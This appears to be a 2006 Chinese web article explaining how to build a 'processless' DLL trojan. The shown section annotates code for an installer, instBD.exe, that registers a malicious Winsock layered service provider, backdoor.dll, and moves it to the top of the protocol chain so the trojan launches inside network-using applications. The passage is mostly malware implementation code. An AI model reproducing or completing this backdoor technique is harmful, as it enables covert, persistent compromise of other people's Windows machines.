无进程DLL木马的又一开发思路与实现
2006-07-21 11:11:05 来源:WEB开发网四)主要代码分析
1.instBD.exe
可执行程序instBD.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与TCP相关的协议链。在backdoor.dll中,我们不对数据报进行任何修饰,只是在启动我们的木马进程。
自定义函数:
BOOL getfilter(); //获得所有已经安装的传输服务提供者
void freefilter(); //释放存储空间
void installfilter(); //安装分层协议,协议链及排序
void removefilter(); //卸载分层协议和协议链
代码分析:
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);
//分配WSAPROTOCOL_INFOW结构的存储空间
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
//获得系统中已安装的所有服务提供者
GetCurrentDirectory(MAX_PATH,filter_path);
//得到当前的路径
_tcscpy(filter_name,_T("\\backdoor.dll"));
//构造服务提供者文件backdoor.dll的路径全名
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);
//安装自定义的IP分层协议
iplayercataid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
更多精彩
赞助商链接